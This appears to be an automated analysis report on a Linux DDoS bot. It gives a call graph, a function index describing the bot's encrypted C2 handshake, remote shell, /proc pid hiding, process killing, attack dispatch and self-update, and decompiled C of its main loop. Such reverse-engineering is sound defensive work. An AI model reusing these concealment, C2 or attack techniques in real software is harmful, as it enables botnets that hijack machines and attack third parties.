sets up the shared read-only marker page: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sets up the shared read-only marker page 0x40c8fe
/proc walker with readlink and kill: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → single-instance lock on a loopback TCP… 0x412d78 → /proc walker with readlink and kill 0x40cb5a
runs a program through pipe/fork/execve…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12 → learns the user and home values for the… 0x40a57f → runs a program through pipe/fork/execve… 0x40d2bf
local address via UDP connect to a…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → local address via UDP connect to a… 0x40d3e8
chaCha20 stream cipher, used for the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → fills the 476-slot string store with… 0x40dba0 → copies one store entry into its slot… 0x40d8fa → chaCha20 stream cipher, used for the… 0x40d6c6
copies one store entry into its slot…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → fills the 476-slot string store with… 0x40dba0 → copies one store entry into its slot… 0x40d8fa
adds and decrypts an entry of the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → fills the 476-slot string store with… 0x40dba0 → adds and decrypts an entry of the… 0x40dae1
fills the 476-slot string store with…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → fills the 476-slot string store with… 0x40dba0
derives the C2 peer X25519 public key…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → C2 session handshake state step 0x411ca1 → derives the C2 peer X25519 public key… 0x411361
unknown: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → C2 session handshake state step 0x411ca1 → 0x41277f → 0x411944 → unknown 0x411824
C2 session hello: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → builds the registration record with… 0x4132d0 → C2 session hello 0x411a32
C2 session handshake state step: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → C2 session handshake state step 0x411ca1
checks header type, length and sequence…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → receives and de-frames C2 messages in… 0x41215b → checks header type, length and sequence… 0x412010
sends a framed C2 message in session…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sends a framed C2 message in session… 0x4120f1
receives and de-frames C2 messages in…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → receives and de-frames C2 messages in… 0x41215b
unknown: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → builds the registration record with… 0x4132d0 → 0x412649 → unknown 0x412385
unknown: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sends a framed C2 message in session… 0x4120f1 → 0x4129d6 → unknown 0x412677
verifies a received session frame: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → receives and de-frames C2 messages in… 0x41215b → verifies a received session frame 0x412ad8
single-instance lock on a loopback TCP…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → single-instance lock on a loopback TCP… 0x412d78
selects the C2 host from store slots…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → selects the C2 host from store slots… 0x413189
builds the registration record with…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → builds the registration record with… 0x4132d0
overwrites argv[0] with a store process…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → overwrites argv[0] with a store process… 0x4139d0
picks a random C2 port from the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → picks a random C2 port from the… 0x413aaa
resolves the C2 name: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → selects the C2 host from store slots… 0x413189 → 0x4143a1 → resolves the C2 name 0x414193
bind-mounts a donor /proc/<pid> over…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → as root, sets non-dumpable and a random… 0x414dca → finds a donor process in /proc by store… 0x414879 → bind-mounts a donor /proc/<pid> over… 0x41479d
finds a donor process in /proc by store…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → as root, sets non-dumpable and a random… 0x414dca → finds a donor process in /proc by store… 0x414879
as root, sets non-dumpable and a random…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → as root, sets non-dumpable and a random… 0x414dca
/proc walker that kills matching…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4163d6 → /proc walker that kills matching… 0x415fc6
/proc walker with readlink: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x417403 → /proc walker with readlink 0x41720d

Code 43

Decompiled from the sample and the layers unpacking recovered, by the render step (not the analyst): Ghidra for native code (C and annotated assembly), ILSpy for .NET (C# and IL). FUN_… names are replaced by the report's names where it gives one. In the assembly, highlighted rows are addresses the evidence cites.

Index · 43 functions

Function	Address	Layer	Size	Cited as	Purpose	Behaviours
FUN_004001d0	0x4001d0	L0	2479	E1	main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file); B3 Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]; B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B2, B3, B6
FUN_00400cd7	0x400cd7	L0	84	E6	kills every tracked child pid except itself and its worker · behaviours: B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on command	B5, B8, B9
FUN_00400d2b	0x400d2b	L0	594	E7	forks the attack worker and calls the vector from the method table · behaviours: B8 DDoS on command: 24 attack vectors dispatched from a static {id, fn} table, each in a forked worker for a set duration	B8
FUN_00400f7d	0x400f7d	L0	644	E6	parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates · behaviours: B8 DDoS on command: 24 attack vectors dispatched from a static {id, fn} table, each in a forked worker for a set duration; B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on command; B9 Self-update on command: downloads a file, chmod 0755, execve	B5, B8, B9
FUN_0040a57f	0x40a57f	L0	747	E27	learns the user and home values for the shell by running store-named programs and reading store-named files · behaviours: B10 Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uid	B10
FUN_0040a86a	0x40a86a	L0	222	E27	finds the account-file entry whose uid equals getuid() · behaviours: B10 Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uid	B10
FUN_0040a948	0x40a948	L0	195	E26	ends the remote shell session · behaviours: B11 Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallback	B11
FUN_0040aa12	0x40aa12	L0	1459	E26	remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command · behaviours: B11 Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallback	B11
FUN_0040b0fb	0x40b0fb	L0	106	E28	parses the shell message header (subtype, length, payload) · behaviours: B11 Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallback	B11
FUN_0040b89c	0x40b89c	L0	2893	E13	downloads a file over a TCP request and writes it to disk · behaviours: B9 Self-update on command: downloads a file, chmod 0755, execve	B9
FUN_0040c42a	0x40c42a	L0	253	E13	self-update: download to a store path, chmod 0755, execve · behaviours: B9 Self-update on command: downloads a file, chmod 0755, execve	B9
FUN_0040c607	0x40c607	L0	54	E2	returns the decrypted store entry for a slot id · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format strings	B1
FUN_0040c63d	0x40c63d	L0	54	E33	maps a marker fd 0x1000 bytes PROT_READ MAP_PRIVATE into 0x62bdc0 · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)	B2
FUN_0040c6f4	0x40c6f4	L0	522	E33	scans per-process /proc files for a matching marker mapping and opens it · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)	B2
FUN_0040c8fe	0x40c8fe	L0	372	E33	sets up the shared read-only marker page: existing file, /proc-found mapping, memfd or 0600 file · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)	B2
FUN_0040cb5a	0x40cb5a	L0	969	E19	/proc walker with readlink and kill (syscall profile) · behaviours: B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on command	B5, B10
FUN_0040d2bf	0x40d2bf	L0	297	E20, E27	runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f · behaviours: B10 Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uid	B10
FUN_0040d3e8	0x40d3e8	L0	142	E10	local address via UDP connect to a public resolver and getsockname · behaviours: B7 Registers with system information: CPU count, memory size, uname, euid, local address	B7
FUN_0040d6c6	0x40d6c6	L0	564	E3, E32	ChaCha20 stream cipher, used for the string store and for C2 session frames · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format strings; B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B1, B6
FUN_0040d8fa	0x40d8fa	L0	487	E2	copies one store entry into its slot and decrypts it in place · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format strings	B1
FUN_0040dae1	0x40dae1	L0	141	E2	adds and decrypts an entry of the second store table at 0x62e640 · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format strings	B1
FUN_0040dba0	0x40dba0	L0	10884	E2	fills the 476-slot string store with 473 encrypted entries · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format strings	B1
FUN_00411361	0x411361	L0	92	E16, E31	derives the C2 peer X25519 public key from 32 embedded bytes (hash, clamp, base-point multiply) · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
unknown	0x411824	L0	253	E16	unknown (capa HMAC lead, not read (U2))	B6
FUN_00411a32	0x411a32	L0	587	E16, E31	C2 session hello: X25519 ephemeral key, shared secret, key expansion, encrypts the registration payload · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
FUN_00411ca1	0x411ca1	L0	663	E15	C2 session handshake state step · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
FUN_00412010	0x412010	L0	225	E15, E32	checks header type, length and sequence of a received frame in the second session mode and opens it via 0x411680 · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
FUN_004120f1	0x4120f1	L0	106	E15	sends a framed C2 message in session mode · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
FUN_0041215b	0x41215b	L0	366	E15	receives and de-frames C2 messages in the session mode · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
unknown	0x412385	L0	363	E16	unknown (capa Curve25519 lead; called from 0x412649, which then sleeps 5-45 s; not read (U2))	B6
unknown	0x412677	L0	264	E16	unknown (capa HMAC lead; computes the 16-byte frame tag for 0x412ad8 (E32), primitive not read (U2))	B6
FUN_00412ad8	0x412ad8	L0	309	E32	verifies a received session frame (header, sequence, 16-byte tag with a derived MAC key) and ChaCha20-decrypts it · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
FUN_00412d78	0x412d78	L0	1041	E9	single-instance lock on a loopback TCP port · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)	B2
FUN_00413189	0x413189	L0	327	E29	selects the C2 host from store slots 0-7 and resolves up to 32 addresses · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
FUN_004132d0	0x4132d0	L0	1512	E14, E31	builds the registration record with system information and sends it inside the session hello · behaviours: B7 Registers with system information: CPU count, memory size, uname, euid, local address; B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6, B7
FUN_004139d0	0x4139d0	L0	218	E11	overwrites argv[0] with a store process name padded with spaces · behaviours: B3 Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]	B3
FUN_00413aaa	0x413aaa	L0	54	E29, E30	picks a random C2 port from the 14-entry table at 0x4287e0 · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
FUN_00414193	0x414193	L0	526	E17	resolves the C2 name: literal, getaddrinfo, else own DNS to an 18-entry resolver table · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	B6
FUN_0041479d	0x41479d	L0	220	E12	bind-mounts a donor /proc/<pid> over its own · behaviours: B4 Hides its pid by bind-mounting another process's /proc directory over its own (root only)	B4
FUN_00414879	0x414879	L0	1356	E12	finds a donor process in /proc by store names and hides behind it · behaviours: B4 Hides its pid by bind-mounting another process's /proc directory over its own (root only)	B4
FUN_00414dca	0x414dca	L0	601	E11	as root, sets non-dumpable and a random store process name · behaviours: B3 Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]	B3
FUN_00415fc6	0x415fc6	L0	723	E19	/proc walker that kills matching processes (syscall profile) · behaviours: B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on command	B5, B10
FUN_0041720d	0x41720d	L0	502	E19	/proc walker with readlink (syscall profile) · behaviours: B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on command	B5, B10

main

0x4001d02479 bytes

undefined FUN_004001d0()

main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop

Cited as: E1
Behaviours: B2, B3, B6
Called from: FUN_004001d0, FUN_00400d2b, FUN_00412d78, FUN_00413988, FUN_00417a32
Calls: FUN_004001d0, FUN_0040aa0b, FUN_0040afc5, FUN_0040c3e9, FUN_0040c8fe, FUN_0040ca72, FUN_0040caad, FUN_0040cb53, FUN_0040cf7c, FUN_0040cf8f, FUN_0040d152, thunk_FUN_0040d215, FUN_0040d3e8, FUN_0040d665, FUN_0040db6e, FUN_0040db98, FUN_0040dba0, FUN_00411ca1, FUN_004120f1, FUN_0041215b, FUN_00412c3b, FUN_00412c75, FUN_00412c9a, FUN_00412d78, FUN_00413189

Decompiled C · 372 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004001d0(int param_1,long param_2)

{
  char cVar1;
  int iVar2;
  undefined4 uVar3;
  uint uVar4;
  uint uVar5;
  long *plVar6;
  long lVar7;
  ulong uVar8;
  int *piVar9;
  int iVar10;
  int iVar11;
  undefined1 *puVar12;
  undefined1 *puVar13;
  undefined8 uVar14;
  ulong *puVar15;
  bool bVar16;
  byte bVar17;
  int local_994;
  undefined8 local_990;
  undefined8 local_988;
  ulong local_980 [2];
  undefined1 local_970 [32];
  ulong local_950 [16];
  ulong local_8d0 [16];
  ulong local_850 [257];
  
  bVar17 = 0;
  FUN_00417c4a();
  FUN_00417c4b();
  FUN_00424e09();
  FUN_0041e18c();
  FUN_0041dd39(0,0);
  FUN_0040dba0();
  FUN_00413988();
  FUN_0040c8fe();
  FUN_0041c0ca(local_850);
  FUN_0041c09b(local_850,2);
  FUN_0041c0d4(0x11,1);
  FUN_0041c0d4(1,1);
  FUN_0041c0d4(0x14,1);
  FUN_0041c0d4(0x15,1);
  FUN_0041c0d4(0x16,1);
  FUN_0041c12d(0,local_850,0);
  FUN_0041db2f(&DAT_00424e60);
  DAT_0062f0a0 = FUN_0040d3e8();
  thunk_FUN_0040d215(local_970,0x20);
  if ((param_1 < 2) || (iVar2 = FUN_0040cf7c(*(undefined8 *)(param_2 + 8)), 0x1f < iVar2)) {
    puVar12 = *(undefined1 **)(DAT_0062e6f0 + 0xef0);
    if ((puVar12 == (undefined1 *)0x0) ||
       (uVar8 = (ulong)*(uint *)(DAT_0062e6f0 + 0xef8), puVar13 = local_970,
       (int)*(uint *)(DAT_0062e6f0 + 0xef8) < 1)) {
      local_970[0] = 0x6c;
    }
    else {
      for (; uVar8 != 0; uVar8 = uVar8 - 1) {
        *puVar13 = *puVar12;
        puVar12 = puVar12 + (ulong)bVar17 * -2 + 1;
        puVar13 = puVar13 + (ulong)bVar17 * -2 + 1;
      }
    }
  }
  else {
    FUN_0040d152(local_970,*(undefined8 *)(param_2 + 8));
    uVar3 = FUN_0040cf7c(*(undefined8 *)(param_2 + 8));
    thunk_FUN_0040d215(*(undefined8 *)(param_2 + 8),uVar3);
  }
  FUN_0040c3e9(local_970);
  FUN_004139d0(param_2);
  thunk_FUN_00414442();
  iVar2 = FUN_0041dc31();
  bVar16 = iVar2 == 0;
  if ((!bVar16) && (iVar2 = FUN_0041bc03(2,3,6), -1 < iVar2)) {
    FUN_0041db41(iVar2);
    bVar16 = true;
  }
  FUN_0040cb53(bVar16);
  FUN_00412d78();
  FUN_0040ca72();
  FUN_0040db6e();
  plVar6 = (long *)FUN_0040db98();
  if (((plVar6 != (long *)0x0) && (*plVar6 != 0)) && (0 < (int)plVar6[1])) {
    FUN_0041ddd5(1);
    FUN_0041ddd5(1,&DAT_00426e4d,1);
  }
  iVar2 = FUN_0041bdde();
  if (0 < iVar2) {
    return 0;
  }
  FUN_0041dd51();
  FUN_0041db41(0);
  FUN_0041db41(1);
  FUN_0041db41(2);
  FUN_0041632e();
  lVar7 = FUN_0040cf8f();
  if (lVar7 != 0) {
    FUN_004155cb(lVar7);
    FUN_004171a7(lVar7);
    thunk_FUN_004183e7(lVar7);
  }
  FUN_004163d6();
  FUN_00417403();
  DAT_0062efd4 = DAT_006bc2a0;
  uVar3 = FUN_0041dc97();
  FUN_00414dca(uVar3);
  FUN_0040c8fe();
  lVar7 = FUN_0040cf8f();
  if (lVar7 != 0) {
    FUN_004155cb(lVar7);
    FUN_004171a7(lVar7);
    thunk_FUN_004183e7(lVar7);
  }
  iVar2 = 0;
LAB_00400469:
  do {
    do {
      puVar15 = local_950;
      for (lVar7 = 0x20; lVar7 != 0; lVar7 = lVar7 + -1) {
        *(undefined4 *)puVar15 = 0;
        puVar15 = (ulong *)((long)puVar15 + ((ulong)bVar17 * -2 + 1) * 4);
      }
      puVar15 = local_8d0;
      for (lVar7 = 0x20; lVar7 != 0; lVar7 = lVar7 + -1) {
        *(undefined4 *)puVar15 = 0;
        puVar15 = (ulong *)((long)puVar15 + ((ulong)bVar17 * -2 + 1) * 4);
      }
      if (DAT_0062ba28 != 0xffffffff) {
        local_950[(ulong)(long)(int)DAT_0062ba28 >> 6] = 1L << ((byte)DAT_0062ba28 & 0x3f);
      }
      if ((DAT_0062ba24 == 0xffffffff) &&
         (DAT_0062ba24 = FUN_0041bc03(2,1,0), DAT_0062ba24 != 0xffffffff)) {
        uVar4 = FUN_00417c6e(DAT_0062ba24,3,0);
        FUN_00417c6e(DAT_0062ba24,4,uVar4 | 0x800);
        _DAT_0062f090 = 2;
        if (DAT_0062efe0 == '\0') {
          uVar14 = 0;
LAB_00400520:
          cVar1 = FUN_00413189(uVar14);
          if ((cVar1 != '\0') && (DAT_0062efe0 != '\0')) goto LAB_0040054b;
LAB_0040052f:
          if (DAT_0062f068 != '\0') {
            DAT_0062f094 = DAT_0062f06c;
            _DAT_0062f092 = (undefined2)DAT_0062f070;
            goto LAB_0040061a;
          }
          DAT_0062f094 = 0;
        }
        else {
          cVar1 = FUN_00412c3b();
          uVar14 = 1;
          if (cVar1 == '\0') goto LAB_00400520;
LAB_0040054b:
          if (DAT_0062efe1 == 0) goto LAB_0040052f;
          uVar4 = 0;
          iVar10 = 0;
          do {
            if ((1 << ((byte)iVar10 & 0x1f) & DAT_0062efe4) == 0) {
              lVar7 = (long)(int)uVar4;
              uVar4 = uVar4 + 1;
              *(int *)((long)local_850 + lVar7 * 4) = iVar10;
            }
            iVar10 = iVar10 + 1;
          } while (iVar10 < (int)(uint)DAT_0062efe1);
          if (uVar4 == 0) {
            cVar1 = FUN_00413189(1);
            if (cVar1 != '\0') {
              uVar4 = (uint)DAT_0062efe1;
              for (lVar7 = 0; (int)lVar7 < (int)uVar4; lVar7 = lVar7 + 1) {
                *(int *)((long)local_850 + lVar7 * 4) = (int)lVar7;
              }
              if (uVar4 != 0) goto LAB_004005af;
            }
            goto LAB_0040052f;
          }
LAB_004005af:
          uVar8 = FUN_0040caad();
          iVar10 = *(int *)((long)local_850 + ((uVar8 & 0xffffffff) % (ulong)uVar4) * 4);
          DAT_0062efe2 = (undefined1)iVar10;
          DAT_0062f094 = (&DAT_0062efe8)[iVar10];
          _DAT_0062f092 = FUN_00413aaa();
          DAT_0062f068 = '\x01';
          DAT_0062f070 = CONCAT22(DAT_0062f070._2_2_,_DAT_0062f092);
LAB_0040061a:
          DAT_0062f06c = DAT_0062f094;
          if (DAT_0062f094 != 0) {
            DAT_0062f080 = '\x01';
            iVar10 = FUN_00419689(DAT_0062ba24,&DAT_0062f090,0x10);
            if (iVar10 == 0) {
              DAT_0062f080 = '\0';
            }
            goto LAB_00400650;
          }
        }
        FUN_0041db41(DAT_0062ba24);
        DAT_0062ba24 = 0xffffffff;
      }
LAB_00400650:
      if (DAT_0062ba24 != 0xffffffff) {
        uVar8 = 1L << ((byte)DAT_0062ba24 & 0x3f);
        if (DAT_0062f080 == '\0') {
          local_950[(ulong)(long)(int)DAT_0062ba24 >> 6] =
               local_950[(ulong)(long)(int)DAT_0062ba24 >> 6] | uVar8;
        }
        else {
          local_8d0[(ulong)(long)(int)DAT_0062ba24 >> 6] =
               local_8d0[(ulong)(long)(int)DAT_0062ba24 >> 6] | uVar8;
        }
      }
      iVar10 = FUN_0040aa0b();
      if (-1 < iVar10) {
        local_950[(ulong)(long)iVar10 >> 6] =
             local_950[(ulong)(long)iVar10 >> 6] | 1L << ((byte)iVar10 & 0x3f);
      }
      uVar4 = DAT_0062ba28;
      if ((DAT_0062ba24 != 0xffffffff) && ((int)DAT_0062ba28 < (int)DAT_0062ba24)) {
        uVar4 = DAT_0062ba24;
      }
      uVar5 = FUN_0040aa0b();
      if ((int)uVar4 < (int)uVar5) {
        uVar4 = uVar5;
      }
    } while (uVar4 == 0xffffffff);
    local_988 = 0;
    if (((DAT_0062e704 == '\0') || (local_990 = 1, DAT_0062e700 != '\0')) &&
       (local_990 = 3, DAT_0062ba24 != 0xffffffff)) {
      local_990 = 0xf;
    }
    iVar10 = FUN_0041bf98(uVar4 + 1,local_950,local_8d0,0,&local_990);
  } while (iVar10 == -1);
  if (iVar10 == 0) {
    iVar10 = FUN_0040aa0b();
    if (-1 < iVar10) {
      FUN_0040afc5(&LAB_00412d73,0);
    }
    if ((DAT_0062ba24 != 0xffffffff) &&
       (iVar10 = iVar2 + 1, iVar11 = iVar2 % 6, iVar2 = iVar10, iVar11 == 0)) {
      if (DAT_0062e700 == '\0') {
        if (DAT_0062e704 == '\0') {
          local_850[0]._0_4_ = (uint)local_850[0] & 0xffff0000;
          FUN_0041bba3(DAT_0062ba24,local_850,2,0x4000);
        }
      }
      else {
        FUN_004120f1(DAT_0062ba24,&DAT_00428800,0x12);
      }
    }
    if (((DAT_0062e704 == '\0') || (DAT_0062e700 != '\0')) ||
       ((DAT_0062f078 == 0 || (lVar7 = FUN_0041daf0(0), lVar7 <= DAT_0062f078)))) goto LAB_004007d9;
  }
  else {
LAB_004007d9:
    uVar8 = FUN_0040aa0b();
    if ((-1 < (int)uVar8) && ((local_950[(ulong)(long)(int)uVar8 >> 6] >> (uVar8 & 0x3f) & 1) != 0))
    {
      FUN_0040afc5(&LAB_00412d73,0);
    }
    if ((DAT_0062ba28 != 0xffffffff) &&
       ((local_950[(ulong)(long)(int)DAT_0062ba28 >> 6] >> ((ulong)DAT_0062ba28 & 0x3f) & 1) != 0))
    {
      local_980[0] = CONCAT44(local_980[0]._4_4_,0x10);
      FUN_0041963a((ulong)DAT_0062ba28,local_850,local_980);
      FUN_0041db41(DAT_0062ba28);
      DAT_0062ba28 = 0xffffffff;
      if (0 < DAT_0062efd4) {
        FUN_0041c083(DAT_0062efd4,9);
      }
      FUN_00415de7();
      FUN_0041dd63(1);
      FUN_004001d0(0);
    }
    uVar8 = (ulong)DAT_0062ba24;
    if (DAT_0062f080 != '\0') {
      DAT_0062f080 = '\0';
      if (((local_8d0[(ulong)(long)(int)DAT_0062ba24 >> 6] >> (uVar8 & 0x3f) & 1) == 0) &&
         ((local_950[(ulong)(long)(int)DAT_0062ba24 >> 6] >> (ulong)(DAT_0062ba24 & 0x3f) & 1) == 0)
         ) {
        FUN_00412c75();
        FUN_00412c9a();
      }
      else {
        local_994 = 0;
        local_980[0] = CONCAT44(local_980[0]._4_4_,4);
        FUN_00419ae7(uVar8,1,4,&local_994,local_980);
        if (local_994 == 0) {
          local_850[0]._0_4_ = 1;
          FUN_0041bbdf(DAT_0062ba24,6,1,local_850,4);
          FUN_004132d0(DAT_0062ba24,local_970);
        }
        else {
          FUN_00412c75();
          FUN_0041db41(DAT_0062ba24);
          DAT_0062ba24 = 0xffffffff;
          uVar8 = FUN_0040caad();
          FUN_0041dd63((int)((uVar8 & 0xffffffff) % 10) + 1);
        }
      }
      goto LAB_00400469;
    }
    if ((DAT_0062ba24 == 0xffffffff) ||
       ((local_950[(ulong)(long)(int)DAT_0062ba24 >> 6] >> (uVar8 & 0x3f) & 1) == 0))
    goto LAB_00400469;
    if (DAT_0062e700 != '\0') {
      iVar10 = 0x10;
      do {
        local_980[0] = local_980[0] & 0xffffffff00000000;
        iVar11 = FUN_0041215b(DAT_0062ba24,local_850,0x800,local_980);
        if (iVar11 != 1) {
          if (iVar11 < 0) goto LAB_00400b20;
          break;
        }
        FUN_004138f6(local_850,local_980[0] & 0xffffffff);
        iVar10 = iVar10 + -1;
      } while (iVar10 != 0);
      goto LAB_00400469;
    }
    if (DAT_0062e704 != '\0') {
      iVar10 = 0x21;
      while (iVar10 = iVar10 + -1, iVar10 != 0) {
        iVar11 = FUN_00411ca1(DAT_0062ba24);
        if (iVar11 != 0) {
          if (iVar11 < 0) goto LAB_00400b20;
          if ((iVar11 == 1) && (DAT_0062f078 = 0, DAT_0062e700 != '\0')) {
            iVar10 = 0x10;
            goto LAB_00400aab;
          }
          break;
        }
        puVar15 = local_850;
        for (lVar7 = 0x20; lVar7 != 0; lVar7 = lVar7 + -1) {
          *(undefined4 *)puVar15 = 0;
          puVar15 = (ulong *)((long)puVar15 + ((ulong)bVar17 * -2 + 1) * 4);
        }
        local_980[0] = 0;
        local_980[1] = 0;
        local_850[(ulong)(long)(int)DAT_0062ba24 >> 6] = 1L << ((byte)DAT_0062ba24 & 0x3f);
        iVar11 = FUN_0041bf98(DAT_0062ba24 + 1,local_850,0,0,local_980);
        if ((iVar11 < 1) ||
           ((local_850[(ulong)(long)(int)DAT_0062ba24 >> 6] >> ((long)(int)DAT_0062ba24 & 0x3fU) & 1
            ) == 0)) break;
      }
      goto LAB_00400469;
    }
    piVar9 = (int *)FUN_00417c3c();
    *piVar9 = 0;
    iVar10 = FUN_0041b0ec(DAT_0062ba24,local_850,0x400,0x4000);
    if (0 < iVar10) {
      FUN_0040d665(local_850,iVar10,0xdeaffed);
      FUN_004138f6(local_850,iVar10);
      goto LAB_00400469;
    }
    if ((*piVar9 == 0xb) || (*piVar9 == 4)) goto LAB_00400469;
  }
LAB_00400b20:
  FUN_00412c9a();
  goto LAB_00400469;
  while( true ) {
    FUN_004138f6(local_850,local_980[0] & 0xffffffff);
    iVar10 = iVar10 + -1;
    if (iVar10 == 0) break;
LAB_00400aab:
    local_980[0] = local_980[0] & 0xffffffff00000000;
    iVar11 = FUN_0041215b(DAT_0062ba24,local_850,0x800,local_980);
    if (iVar11 != 1) break;
  }
  goto LAB_00400469;
}

Assembly · 591 instructions, 5 annotated

